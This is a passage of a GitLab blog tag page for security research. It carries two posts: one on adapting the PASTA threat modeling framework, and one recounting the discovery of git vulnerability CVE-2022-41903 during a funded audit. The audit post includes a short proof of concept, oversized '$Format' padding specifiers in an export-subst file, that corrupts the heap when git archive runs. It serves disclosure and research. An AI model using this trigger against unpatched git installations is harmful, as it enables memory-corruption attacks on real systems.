[{"data":1,"prerenderedAt":1046},["ShallowReactive",2],{"/en-us/blog/tags/security-research/":3,"navigation-en-us":20,"banner-en-us":438,"footer-en-us":450,"security research-tag-page-en-us":661},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"content":8,"config":11,"_id":13,"_type":14,"title":15,"_source":16,"_file":17,"_stem":18,"_extension":19},"/en-us/blog/tags/security-research","tags",false,"",{"tag":9,"tagSlug":10},"security research","security-research",{"template":12},"BlogTag","content:en-us:blog:tags:security-research.yml","yaml","Security Research","content","en-us/blog/tags/security-research.yml","en-us/blog/tags/security-research","yml",{"_path":21,"_dir":22,"_draft":6,"_partial":6,"_locale":7,"data":23,"_id":434,"_type":14,"title":435,"_source":16,"_file":436,"_stem":437,"_extension":19},"/shared/en-us/main-navigation","en-us",{"logo":24,"freeTrial":29,"sales":34,"login":39,"items":44,"search":375,"minimal":406,"duo":425},{"config":25},{"href":26,"dataGaName":27,"dataGaLocation":28},"/","gitlab logo","header",{"text":30,"config":31},"Get free trial",{"href":32,"dataGaName":33,"dataGaLocation":28},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com&glm_content=default-saas-trial/","free trial",{"text":35,"config":36},"Talk to sales",{"href":37,"dataGaName":38,"dataGaLocation":28},"/sales/","sales",{"text":40,"config":41},"Sign in",{"href":42,"dataGaName":43,"dataGaLocation":28},"https://gitlab.com/users/sign_in/","sign in",[45,89,185,190,296,356],{"text":46,"config":47,"cards":49,"footer":72},"Platform",{"dataNavLevelOne":48},"platform",[50,56,64],{"title":46,"description":51,"link":52},"The most comprehensive AI-powered DevSecOps Platform",{"text":53,"config":54},"Explore our Platform",{"href":55,"dataGaName":48,"dataGaLocation":28},"/platform/",{"title":57,"description":58,"link":59},"GitLab Duo (AI)","Build software faster with AI at every stage of development",{"text":60,"config":61},"Meet GitLab Duo",{"href":62,"dataGaName":63,"dataGaLocation":28},"/gitlab-duo/","gitlab duo ai",{"title":65,"description":66,"link":67},"Why GitLab","10 reasons why Enterprises choose GitLab",{"text":68,"config":69},"Learn more",{"href":70,"dataGaName":71,"dataGaLocation":28},"/why-gitlab/","why gitlab",{"title":73,"items":74},"Get started with",[75,80,85],{"text":76,"config":77},"Platform Engineering",{"href":78,"dataGaName":79,"dataGaLocation":28},"/solutions/platform-engineering/","platform engineering",{"text":81,"config":82},"Developer Experience",{"href":83,"dataGaName":84,"dataGaLocation":28},"/developer-experience/","Developer experience",{"text":86,"config":87},"MLOps",{"href":88,"dataGaName":86,"dataGaLocation":28},"/topics/devops/the-role-of-ai-in-devops/",{"text":90,"left":91,"config":92,"link":94,"lists":98,"footer":167},"Product",true,{"dataNavLevelOne":93},"solutions",{"text":95,"config":96},"View all Solutions",{"href":97,"dataGaName":93,"dataGaLocation":28},"/solutions/",[99,124,146],{"title":100,"description":101,"link":102,"items":107},"Automation","CI/CD and automation to accelerate deployment",{"config":103},{"icon":104,"href":105,"dataGaName":106,"dataGaLocation":28},"AutomatedCodeAlt","/solutions/delivery-automation/","automated software delivery",[108,112,116,120],{"text":109,"config":110},"CI/CD",{"href":111,"dataGaLocation":28,"dataGaName":109},"/solutions/continuous-integration/",{"text":113,"config":114},"AI-Assisted Development",{"href":62,"dataGaLocation":28,"dataGaName":115},"AI assisted development",{"text":117,"config":118},"Source Code Management",{"href":119,"dataGaLocation":28,"dataGaName":117},"/solutions/source-code-management/",{"text":121,"config":122},"Automated Software Delivery",{"href":105,"dataGaLocation":28,"dataGaName":123},"Automated software delivery",{"title":125,"description":126,"link":127,"items":132},"Security","Deliver code faster without compromising security",{"config":128},{"href":129,"dataGaName":130,"dataGaLocation":28,"icon":131},"/solutions/security-compliance/","security and compliance","ShieldCheckLight",[133,136,141],{"text":134,"config":135},"Security & Compliance",{"href":129,"dataGaLocation":28,"dataGaName":134},{"text":137,"config":138},"Software Supply Chain Security",{"href":139,"dataGaLocation":28,"dataGaName":140},"/solutions/supply-chain/","Software supply chain security",{"text":142,"config":143},"Compliance & Governance",{"href":144,"dataGaLocation":28,"dataGaName":145},"/solutions/continuous-software-compliance/","Compliance and governance",{"title":147,"link":148,"items":153},"Measurement",{"config":149},{"icon":150,"href":151,"dataGaName":152,"dataGaLocation":28},"DigitalTransformation","/solutions/visibility-measurement/","visibility and measurement",[154,158,162],{"text":155,"config":156},"Visibility & Measurement",{"href":151,"dataGaLocation":28,"dataGaName":157},"Visibility and Measurement",{"text":159,"config":160},"Value Stream Management",{"href":161,"dataGaLocation":28,"dataGaName":159},"/solutions/value-stream-management/",{"text":163,"config":164},"Analytics & Insights",{"href":165,"dataGaLocation":28,"dataGaName":166},"/solutions/analytics-and-insights/","Analytics and insights",{"title":168,"items":169},"GitLab for",[170,175,180],{"text":171,"config":172},"Enterprise",{"href":173,"dataGaLocation":28,"dataGaName":174},"/enterprise/","enterprise",{"text":176,"config":177},"Small Business",{"href":178,"dataGaLocation":28,"dataGaName":179},"/small-business/","small business",{"text":181,"config":182},"Public Sector",{"href":183,"dataGaLocation":28,"dataGaName":184},"/solutions/public-sector/","public sector",{"text":186,"config":187},"Pricing",{"href":188,"dataGaName":189,"dataGaLocation":28,"dataNavLevelOne":189},"/pricing/","pricing",{"text":191,"config":192,"link":194,"lists":198,"feature":283},"Resources",{"dataNavLevelOne":193},"resources",{"text":195,"config":196},"View all resources",{"href":197,"dataGaName":193,"dataGaLocation":28},"/resources/",[199,232,255],{"title":200,"items":201},"Getting started",[202,207,212,217,222,227],{"text":203,"config":204},"Install",{"href":205,"dataGaName":206,"dataGaLocation":28},"/install/","install",{"text":208,"config":209},"Quick start guides",{"href":210,"dataGaName":211,"dataGaLocation":28},"/get-started/","quick setup checklists",{"text":213,"config":214},"Learn",{"href":215,"dataGaLocation":28,"dataGaName":216},"https://university.gitlab.com/","learn",{"text":218,"config":219},"Product documentation",{"href":220,"dataGaName":221,"dataGaLocation":28},"https://docs.gitlab.com/","product documentation",{"text":223,"config":224},"Best practice videos",{"href":225,"dataGaName":226,"dataGaLocation":28},"/getting-started-videos/","best practice videos",{"text":228,"config":229},"Integrations",{"href":230,"dataGaName":231,"dataGaLocation":28},"/integrations/","integrations",{"title":233,"items":234},"Discover",[235,240,245,250],{"text":236,"config":237},"Customer success stories",{"href":238,"dataGaName":239,"dataGaLocation":28},"/customers/","customer success stories",{"text":241,"config":242},"Blog",{"href":243,"dataGaName":244,"dataGaLocation":28},"/blog/","blog",{"text":246,"config":247},"Remote",{"href":248,"dataGaName":249,"dataGaLocation":28},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"text":251,"config":252},"TeamOps",{"href":253,"dataGaName":254,"dataGaLocation":28},"/teamops/","teamops",{"title":256,"items":257},"Connect",[258,263,268,273,278],{"text":259,"config":260},"GitLab Services",{"href":261,"dataGaName":262,"dataGaLocation":28},"/services/","services",{"text":264,"config":265},"Community",{"href":266,"dataGaName":267,"dataGaLocation":28},"/community/","community",{"text":269,"config":270},"Forum",{"href":271,"dataGaName":272,"dataGaLocation":28},"https://forum.gitlab.com/","forum",{"text":274,"config":275},"Events",{"href":276,"dataGaName":277,"dataGaLocation":28},"/events/","events",{"text":279,"config":280},"Partners",{"href":281,"dataGaName":282,"dataGaLocation":28},"/partners/","partners",{"backgroundColor":284,"textColor":285,"text":286,"image":287,"link":291},"#2f2a6b","#fff","Insights for the future of software development",{"altText":288,"config":289},"the source promo card",{"src":290},"/images/navigation/the-source-promo-card.svg",{"text":292,"config":293},"Read the latest",{"href":294,"dataGaName":295,"dataGaLocation":28},"/the-source/","the source",{"text":297,"config":298,"lists":300},"Company",{"dataNavLevelOne":299},"company",[301],{"items":302},[303,308,314,316,321,326,331,336,341,346,351],{"text":304,"config":305},"About",{"href":306,"dataGaName":307,"dataGaLocation":28},"/company/","about",{"text":309,"config":310,"footerGa":313},"Jobs",{"href":311,"dataGaName":312,"dataGaLocation":28},"/jobs/","jobs",{"dataGaName":312},{"text":274,"config":315},{"href":276,"dataGaName":277,"dataGaLocation":28},{"text":317,"config":318},"Leadership",{"href":319,"dataGaName":320,"dataGaLocation":28},"/company/team/e-group/","leadership",{"text":322,"config":323},"Team",{"href":324,"dataGaName":325,"dataGaLocation":28},"/company/team/","team",{"text":327,"config":328},"Handbook",{"href":329,"dataGaName":330,"dataGaLocation":28},"https://handbook.gitlab.com/","handbook",{"text":332,"config":333},"Investor relations",{"href":334,"dataGaName":335,"dataGaLocation":28},"https://ir.gitlab.com/","investor relations",{"text":337,"config":338},"Trust Center",{"href":339,"dataGaName":340,"dataGaLocation":28},"/security/","trust center",{"text":342,"config":343},"AI Transparency Center",{"href":344,"dataGaName":345,"dataGaLocation":28},"/ai-transparency-center/","ai transparency center",{"text":347,"config":348},"Newsletter",{"href":349,"dataGaName":350,"dataGaLocation":28},"/company/contact/","newsletter",{"text":352,"config":353},"Press",{"href":354,"dataGaName":355,"dataGaLocation":28},"/press/","press",{"text":357,"config":358,"lists":359},"Contact us",{"dataNavLevelOne":299},[360],{"items":361},[362,365,370],{"text":35,"config":363},{"href":37,"dataGaName":364,"dataGaLocation":28},"talk to sales",{"text":366,"config":367},"Get help",{"href":368,"dataGaName":369,"dataGaLocation":28},"/support/","get help",{"text":371,"config":372},"Customer portal",{"href":373,"dataGaName":374,"dataGaLocation":28},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":376,"login":377,"suggestions":384},"Close",{"text":378,"link":379},"To search repositories and projects, login to",{"text":380,"config":381},"gitlab.com",{"href":42,"dataGaName":382,"dataGaLocation":383},"search login","search",{"text":385,"default":386},"Suggestions",[387,389,393,395,399,403],{"text":57,"config":388},{"href":62,"dataGaName":57,"dataGaLocation":383},{"text":390,"config":391},"Code Suggestions (AI)",{"href":392,"dataGaName":390,"dataGaLocation":383},"/solutions/code-suggestions/",{"text":109,"config":394},{"href":111,"dataGaName":109,"dataGaLocation":383},{"text":396,"config":397},"GitLab on AWS",{"href":398,"dataGaName":396,"dataGaLocation":383},"/partners/technology-partners/aws/",{"text":400,"config":401},"GitLab on Google Cloud",{"href":402,"dataGaName":400,"dataGaLocation":383},"/partners/technology-partners/google-cloud-platform/",{"text":404,"config":405},"Why GitLab?",{"href":70,"dataGaName":404,"dataGaLocation":383},{"freeTrial":407,"mobileIcon":412,"desktopIcon":417,"secondaryButton":420},{"text":408,"config":409},"Start free trial",{"href":410,"dataGaName":33,"dataGaLocation":411},"https://gitlab.com/-/trials/new/","nav",{"altText":413,"config":414},"Gitlab Icon",{"src":415,"dataGaName":416,"dataGaLocation":411},"/images/brand/gitlab-logo-tanuki.svg","gitlab icon",{"altText":413,"config":418},{"src":419,"dataGaName":416,"dataGaLocation":411},"/images/brand/gitlab-logo-type.svg",{"text":421,"config":422},"Get Started",{"href":423,"dataGaName":424,"dataGaLocation":411},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/compare/gitlab-vs-github/","get started",{"freeTrial":426,"mobileIcon":430,"desktopIcon":432},{"text":427,"config":428},"Learn more about GitLab Duo",{"href":62,"dataGaName":429,"dataGaLocation":411},"gitlab duo",{"altText":413,"config":431},{"src":415,"dataGaName":416,"dataGaLocation":411},{"altText":413,"config":433},{"src":419,"dataGaName":416,"dataGaLocation":411},"content:shared:en-us:main-navigation.yml","Main Navigation","shared/en-us/main-navigation.yml","shared/en-us/main-navigation",{"_path":439,"_dir":22,"_draft":6,"_partial":6,"_locale":7,"title":440,"button":441,"config":445,"_id":447,"_type":14,"_source":16,"_file":448,"_stem":449,"_extension":19},"/shared/en-us/banner","GitLab Duo Agent Platform is now in public beta!",{"text":68,"config":442},{"href":443,"dataGaName":444,"dataGaLocation":28},"/gitlab-duo/agent-platform/","duo banner",{"layout":446},"release","content:shared:en-us:banner.yml","shared/en-us/banner.yml","shared/en-us/banner",{"_path":451,"_dir":22,"_draft":6,"_partial":6,"_locale":7,"data":452,"_id":657,"_type":14,"title":658,"_source":16,"_file":659,"_stem":660,"_extension":19},"/shared/en-us/main-footer",{"text":453,"source":454,"edit":460,"contribute":465,"config":470,"items":475,"minimal":649},"Git is a trademark of Software Freedom Conservancy and our use of 'GitLab' is under license",{"text":455,"config":456},"View page source",{"href":457,"dataGaName":458,"dataGaLocation":459},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":461,"config":462},"Edit this page",{"href":463,"dataGaName":464,"dataGaLocation":459},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":466,"config":467},"Please contribute",{"href":468,"dataGaName":469,"dataGaLocation":459},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":471,"facebook":472,"youtube":473,"linkedin":474},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[476,499,556,585,619],{"title":46,"links":477,"subMenu":482},[478],{"text":479,"config":480},"DevSecOps platform",{"href":55,"dataGaName":481,"dataGaLocation":459},"devsecops platform",[483],{"title":186,"links":484},[485,489,494],{"text":486,"config":487},"View plans",{"href":188,"dataGaName":488,"dataGaLocation":459},"view plans",{"text":490,"config":491},"Why Premium?",{"href":492,"dataGaName":493,"dataGaLocation":459},"/pricing/premium/","why premium",{"text":495,"config":496},"Why Ultimate?",{"href":497,"dataGaName":498,"dataGaLocation":459},"/pricing/ultimate/","why ultimate",{"title":500,"links":501},"Solutions",[502,507,510,512,517,522,526,529,533,538,540,543,546,551],{"text":503,"config":504},"Digital transformation",{"href":505,"dataGaName":506,"dataGaLocation":459},"/topics/digital-transformation/","digital transformation",{"text":134,"config":508},{"href":129,"dataGaName":509,"dataGaLocation":459},"security & compliance",{"text":123,"config":511},{"href":105,"dataGaName":106,"dataGaLocation":459},{"text":513,"config":514},"Agile development",{"href":515,"dataGaName":516,"dataGaLocation":459},"/solutions/agile-delivery/","agile delivery",{"text":518,"config":519},"Cloud transformation",{"href":520,"dataGaName":521,"dataGaLocation":459},"/topics/cloud-native/","cloud transformation",{"text":523,"config":524},"SCM",{"href":119,"dataGaName":525,"dataGaLocation":459},"source code management",{"text":109,"config":527},{"href":111,"dataGaName":528,"dataGaLocation":459},"continuous integration & delivery",{"text":530,"config":531},"Value stream management",{"href":161,"dataGaName":532,"dataGaLocation":459},"value stream management",{"text":534,"config":535},"GitOps",{"href":536,"dataGaName":537,"dataGaLocation":459},"/solutions/gitops/","gitops",{"text":171,"config":539},{"href":173,"dataGaName":174,"dataGaLocation":459},{"text":541,"config":542},"Small business",{"href":178,"dataGaName":179,"dataGaLocation":459},{"text":544,"config":545},"Public sector",{"href":183,"dataGaName":184,"dataGaLocation":459},{"text":547,"config":548},"Education",{"href":549,"dataGaName":550,"dataGaLocation":459},"/solutions/education/","education",{"text":552,"config":553},"Financial services",{"href":554,"dataGaName":555,"dataGaLocation":459},"/solutions/finance/","financial services",{"title":191,"links":557},[558,560,562,564,567,569,571,573,575,577,579,581,583],{"text":203,"config":559},{"href":205,"dataGaName":206,"dataGaLocation":459},{"text":208,"config":561},{"href":210,"dataGaName":211,"dataGaLocation":459},{"text":213,"config":563},{"href":215,"dataGaName":216,"dataGaLocation":459},{"text":218,"config":565},{"href":220,"dataGaName":566,"dataGaLocation":459},"docs",{"text":241,"config":568},{"href":243,"dataGaName":244,"dataGaLocation":459},{"text":236,"config":570},{"href":238,"dataGaName":239,"dataGaLocation":459},{"text":246,"config":572},{"href":248,"dataGaName":249,"dataGaLocation":459},{"text":259,"config":574},{"href":261,"dataGaName":262,"dataGaLocation":459},{"text":251,"config":576},{"href":253,"dataGaName":254,"dataGaLocation":459},{"text":264,"config":578},{"href":266,"dataGaName":267,"dataGaLocation":459},{"text":269,"config":580},{"href":271,"dataGaName":272,"dataGaLocation":459},{"text":274,"config":582},{"href":276,"dataGaName":277,"dataGaLocation":459},{"text":279,"config":584},{"href":281,"dataGaName":282,"dataGaLocation":459},{"title":297,"links":586},[587,589,591,593,595,597,599,603,608,610,612,614],{"text":304,"config":588},{"href":306,"dataGaName":299,"dataGaLocation":459},{"text":309,"config":590},{"href":311,"dataGaName":312,"dataGaLocation":459},{"text":317,"config":592},{"href":319,"dataGaName":320,"dataGaLocation":459},{"text":322,"config":594},{"href":324,"dataGaName":325,"dataGaLocation":459},{"text":327,"config":596},{"href":329,"dataGaName":330,"dataGaLocation":459},{"text":332,"config":598},{"href":334,"dataGaName":335,"dataGaLocation":459},{"text":600,"config":601},"Sustainability",{"href":602,"dataGaName":600,"dataGaLocation":459},"/sustainability/",{"text":604,"config":605},"Diversity, inclusion and belonging (DIB)",{"href":606,"dataGaName":607,"dataGaLocation":459},"/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":337,"config":609},{"href":339,"dataGaName":340,"dataGaLocation":459},{"text":347,"config":611},{"href":349,"dataGaName":350,"dataGaLocation":459},{"text":352,"config":613},{"href":354,"dataGaName":355,"dataGaLocation":459},{"text":615,"config":616},"Modern Slavery Transparency Statement",{"href":617,"dataGaName":618,"dataGaLocation":459},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"title":620,"links":621},"Contact Us",[622,625,627,629,634,639,644],{"text":623,"config":624},"Contact an expert",{"href":37,"dataGaName":38,"dataGaLocation":459},{"text":366,"config":626},{"href":368,"dataGaName":369,"dataGaLocation":459},{"text":371,"config":628},{"href":373,"dataGaName":374,"dataGaLocation":459},{"text":630,"config":631},"Status",{"href":632,"dataGaName":633,"dataGaLocation":459},"https://status.gitlab.com/","status",{"text":635,"config":636},"Terms of use",{"href":637,"dataGaName":638,"dataGaLocation":459},"/terms/","terms of use",{"text":640,"config":641},"Privacy statement",{"href":642,"dataGaName":643,"dataGaLocation":459},"/privacy/","privacy statement",{"text":645,"config":646},"Cookie preferences",{"dataGaName":647,"dataGaLocation":459,"id":648,"isOneTrustButton":91},"cookie preferences","ot-sdk-btn",{"items":650},[651,653,655],{"text":635,"config":652},{"href":637,"dataGaName":638,"dataGaLocation":459},{"text":640,"config":654},{"href":642,"dataGaName":643,"dataGaLocation":459},{"text":645,"config":656},{"dataGaName":647,"dataGaLocation":459,"id":648,"isOneTrustButton":91},"content:shared:en-us:main-footer.yml","Main Footer","shared/en-us/main-footer.yml","shared/en-us/main-footer",{"allPosts":662,"featuredPost":1024,"totalPagesCount":1044,"initialPosts":1045},[663,688,708,728,748,769,790,808,827,848,868,887,908,927,945,965,983,1004],{"_path":664,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":665,"content":673,"config":681,"_id":684,"_type":14,"title":685,"_source":16,"_file":686,"_stem":687,"_extension":19},"/en-us/blog/creating-a-threat-model-that-works-for-gitlab",{"title":666,"description":667,"ogTitle":666,"ogDescription":667,"noIndex":6,"ogImage":668,"ogUrl":669,"ogSiteName":670,"ogType":671,"canonicalUrls":669,"schema":672},"How we’re creating a threat model framework that works for GitLab","As usual, we’re creating our own path in how we handle our threat modeling, approaching development both iteratively and collaboratively, and seriously shifting left with our framework and processes.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682058/Blog/Hero%20Images/pexels-nathan-j-hilton.jpg","https://about.gitlab.com/blog/creating-a-threat-model-that-works-for-gitlab","https://about.gitlab.com","article","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we’re creating a threat model framework that works for GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Loveless\"}],\n        \"datePublished\": \"2021-07-09\",\n      }",{"title":666,"description":667,"authors":674,"heroImage":668,"date":676,"body":677,"category":678,"tags":679},[675],"Mark Loveless","2021-07-09","\n\nThis is the first in a series of three blog posts where we discuss [threat modeling](/handbook/security/threat_modeling/) and how we’re [using it at GitLab](/handbook/security/threat_modeling/howto.html) to help secure our product, our company, and most importantly our customer’s data. As usual, [we’re doing things a bit differently](https://gitlab.com/gitlab-com/gl-security/security-research/threat-modeling-template), but when you hear why it will make a lot of sense.\n\n## Threat modeling\n\nLet’s start with the basics, what is threat modeling?\n\nThreat modeling is the process of risk assessment for a particular project, asset, procedure, or product. While it can apply to nearly any established or new procedure, it seems to most often get applied to software. For GitLab, this would mainly apply to our source code.\n\nAs assessing risk has historically been the domain of the security department of most organizations, the threat modeling process has been nearly exclusively handled by the [security department](/handbook/security/#security-department) here at GitLab. This does make a lot of sense on many levels, and many threat modeling scenarios are exclusively managed by those within the security department.\n\n## How does it work? In theory and in practice?\n\nThe general process of developing a threat model does vary, but it typically breaks down as follows:\n\n* Scope out what is to be included in the threat model process.\n* Define the potential attackers or situations that could create a security problem.\n* Assess the associated risks with the process or procedure.\n* Fix all the problems identified.\n\nThis sounds fine, but there are a few things that cause problems for a lot of organizations, especially bleeding edge companies that push boundaries. Here are a few:\n* In spite of the attempts to “shift left” it is often that most security departments look at the new code or new project towards the end of the project. In lucky cases, they are involved in the middle; but ideally they should be included in the beginning phases.\n* In large organizations with many projects, there are not enough security team members to handle the workload; especially in a shop that is constantly developing and releasing code. Depending on the project, it could take hours to simply get a security team member up to speed, assuming everyone had the free time to spend doing so. Basically, it doesn’t scale as there are simply not enough personnel to get all of the work done.\n* The models used for this are extremely thorough but also extremely complex. They can involve intricate diagrams, require input from multiple parties that may not fully understand what the other parties are doing, and use language to describe their layered steps that can be confusing and, well, quite boring.\n* No one, and I mean **no one** seems to enjoy creating a threat model.\n\n## Finding a framework we could adapt\n\nFirst off, we had to decide on a few things up front. We wanted to come up with some type of framework that allowed us to easily adopt a threat modeling process into our existing processes. Our existing processes work quite well, and we knew that if we were going to introduce something into that process, it would have to be simple.\n\nWe had to address all of the concerns that we had identified as a part of the overall threat model process and either reduce their impact or eliminate them entirely. **The threat modeling had to scale and fit into the existing development processes, not the other way around.**\n\nAsking a group of developers to learn some new process such as the process of creating elaborate diagrams that define data classification, authentication zones, permissions, and many other detailed items just didn’t make any sense. Sure, you can get a sense of part of the information being modeled, but does one have to learn some complex diagramming software package in the process?\n\nGitLab is 100% remote and 100% spread out all over the planet, and we manage to work asynchronously. Whatever process for threat modeling we were going to use was going to require the ability to work asynchronously while doing it.\n\nAfter choosing our general framework, we had to strip it down and make it fit with our existing processes, develop a “plan” on how to use it, test it, and then introduce it into the usual steps. This took a bit of time, but we came up with something.\n\n## PASTA as a base\nWe use the [PASTA](https://www.wiley.com/en-us/Risk+Centric+Threat+Modeling%3A+Process+for+Attack+Simulation+and+Threat+Analysis-p-9780470500965#) framework as a base, and with all of the adjustments we’ve made to fit GitLab’s unique environment and processes, we are already seeing positive results from our own framework. Here are some of the features:\n* It is easy to understand.\n* It scales.\n* It enhances DevSecOps with minimal overhead.\n* It is based off of an existing framework with an established track record.\n* It works nicely with existing processes within our Security department.\n* It doesn’t just apply to coding projects; it can apply to any project, including those in Infrastructure, Marketing, Sales, and other departments.\n\nThe advantages of our adoption and modification of the PASTA framework allows us to have a common language with those outside of the weird security world, and other departments within GitLab can also understand it. This well-known framework even allows us to have discussions with partners, customers, and contributors about security and risk and threat and not worry about whether they’ll be able to understand us.\n\nBut the biggest change we’ve made is not “how” but “where” and “who.” While our Security team owns the framework, we don’t “run” it. It is run by the people who are running the project. *Let me explain...*\n\nLet’s say we have a department in Engineering that is getting ready to start a new or existing project. They have a list of steps they need to run by the Security team as a part of the procedure they would normally follow. One of those steps is for that Engineering department to perform their *own* threat model. We’re available for questions, but as they know the project far better than we do, they come up with a really good model. The idea is that they will uncover a few gotchas and will fix problems either before or during the coding process. And they do!\n\nThe main tool we have available for this is a [threat modeling process that includes a template](/handbook/security/security-engineering/application-security/runbooks/threat-modeling.html), and they use this to create a markdown file (something everyone at GitLab does all the time) to record the basic steps taken during threat modeling. This way when it is time for the Security team review, which is usually near the end of the project, we can review what they’ve done. Of course there are going to be times when we will still send things back for a fix, but the vast majority of everything is already corrected!\n\nWe not only get through the threat modeling process, but the code being developed is more secure, the time to complete this added process is minimal, and it scales. It is **efficient**. It is **effective**. It is the [best kind of boring](https://handbook.gitlab.com/handbook/values/#boring-solutions).\n\n## What's next\nIn the next blog post in this series, we will take a deeper dive into the framework, including how in some cases we can use a “subset” of a full PASTA framework, and how we reached some of the decisions on our “modifications.”\n\nPhoto by [Nathan J Hilton](https://www.pexels.com/@radmondo?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels) on [Pexels](https://www.pexels.com/photo/steel-frame-building-in-modern-style-5261943/?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels)\n\n{: .note}\n","security",[678,680,9],"inside GitLab",{"slug":682,"featured":6,"template":683},"creating-a-threat-model-that-works-for-gitlab","BlogPost","content:en-us:blog:creating-a-threat-model-that-works-for-gitlab.yml","Creating A Threat Model That Works For Gitlab","en-us/blog/creating-a-threat-model-that-works-for-gitlab.yml","en-us/blog/creating-a-threat-model-that-works-for-gitlab",{"_path":689,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":690,"content":696,"config":702,"_id":704,"_type":14,"title":705,"_source":16,"_file":706,"_stem":707,"_extension":19},"/en-us/blog/git-security-audit",{"title":691,"description":692,"ogTitle":691,"ogDescription":692,"noIndex":6,"ogImage":693,"ogUrl":694,"ogSiteName":670,"ogType":671,"canonicalUrls":694,"schema":695},"Git security audit: Inside the hunt for - and discovery of - CVEs","Get a behind-the-scenes look at how I helped discover the vulnerability that became CVE-2022-41903.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668524/Blog/Hero%20Images/closeup-photo-of-black-and-blue-keyboard-1194713.jpg","https://about.gitlab.com/blog/git-security-audit","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Git security audit: Inside the hunt for - and discovery of - CVEs\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joern Schneeweisz\"}],\n        \"datePublished\": \"2023-01-24\",\n      }",{"title":691,"description":692,"authors":697,"heroImage":693,"date":699,"body":700,"category":678,"tags":701},[698],"Joern Schneeweisz","2023-01-24","\n\nKeeping a secure development environment is my daily focus here at GitLab. My team and I are committed to hunting for vulnerabilities and mitigating them before they impact others. I feel equally enthusiastic about helping the development community identify potential risk. So when I had the opportunity to join an open-source security audit of Git, funded by the [Open Source Technology Improvement Fund (OSTIF)](https://ostif.org/), I jumped at it. Little did I know it would lead to the discovery of [CVE-2022-41903](https://github.com/git/git/security/advisories/GHSA-475x-2q3q-hvwq).\n\nHere's how it all unfolded.\n\n### How we set up a collaboration environment\n\nThe Git security audit was run by [X41 D-Sec](https://x41-dsec.de/) on behalf of OSTIF. Due to [prior](https://gitlab.com/gitlab-com/gl-security/disclosures/blob/master/003_git_submodule/advisory.md) [experiences](https://www.mail-archive.com/linux-kernel@vger.kernel.org/msg1466490.html) in finding vulnerabilities in Git, I was very keen on joining the audit. When Markus at X41 suggested a collaboration to the OSTIF they were very open to it, so all I had to do was convince my manager to spend some time on this audit.\n\nThis wasn't a problem at all. The to-be-done work fits nicely into our Security Research Team's [Ecosystem Security Testing](/handbook/security/threat-management/security-research/#gitlab-ecosystem-security-testing) efforts. So we decided to donate a good chunk of my working hours towards the audit.\n\nMarkus and Eric on X41's side and myself on the GitLab end were able to work closely together by collaborating in a shared group on `gitlab.com`. We used an issue tracker and a repository to draft the report. Together with some free-tier runner minutes, we were all set up on the infrastructure side in 20 minutes, the time I needed to set up the CI for rendering the report. The findings were documented in the issues and via Merge Requests to the report repository, and we also had a shared chat and a couple of synchronous calls to tackle the vast codebase of Git together.\n\n### Finding CVE-2022-41903\n\nGit is compiled out of about a quarter million lines of C code — way too much\nto tackle with only three people in about a month, which was the number allocated for the audit.\nSo we had to prioritize a lot in order to get some good results. I personally tried to dive into more \"obscure\" features of the codebase as those, in my experience, are typically a bit more error prone. I searched a bit through the documentation for `git archive` while diving into [`archive.c`](https://git.kernel.org/pub/scm/git/git.git/tree/archive.c?h=v2.38.1&id=d5b41391a472dcf9486055fd5b8517f893e88daf)'s source code.\nIn that documentation the `export-ignore` and `export-subst` [attributes](https://git-scm.com/docs/git-archive/2.29.0#ATTRIBUTES) caught my attention, my `this is the obscure thing you're looking for` radar went off. \n\nWith `export-ignore` in the `.gitattributes` file it is possible to prevent individual files from being exported by `git archive`. With `export-subst` we can mark files to have [substitutions](https://git-scm.com/docs/gitattributes#_export_subst) taking place when they're exported via `git archive`. Those substitutions are using Git's [`pretty format`](https://git-scm.com/docs/git-log#_pretty_formats).\n\nLooking at the `pretty formats` documentation I did an educated guess by simply messing a bit with the [padding specifiers](https://git-scm.com/docs/git-log#Documentation/git-log.txt-emltltNgttruncltruncmtruncem). Having read a bit of the Git source code already it seemed juicy to me to allow for presumably arbitrary padding width. All those bytes must fit somewhere, right? Within the audit team we already noted the notorious use of the signed type `int` for length variables. Because of that I pretty much right away tried to create a huge padding with a very short format string. \n\nThe initial proof of concept looked like this:\n\nI had a `testfile` in a Git repository with the following content:\n\n```\n$Format:%>(1073741824)%h$\n$Format:%>(1073741824)%h$\n$Format:%>(1073741824)%h$\n$Format:%>(1073741824)%h$\n$Format:%>(1073741824)%h$\n```\n\nThis `testfile` was also referenced in the `.gitattributes` for export substitution:\n\n```\ntestfile export-subst\n```\n\nAfter committing both files to the repository I was able to trigger a heap corruption by calling `git archive` in the repository. The five padding specifiers sum up to `5368709120`, which is way beyond what an `int` could take. Markus, Eric, and I tracked the root cause down to [`format_and_pad_commit()`](https://git.kernel.org/pub/scm/git/git.git/tree/pretty.c?h=v2.38.1&id=d5b41391a472dcf9486055fd5b8517f893e88daf#n1668) in `pretty.c`.\n\nIt was a good mix of luck and gut feeling about a certain feature that led to the identification of 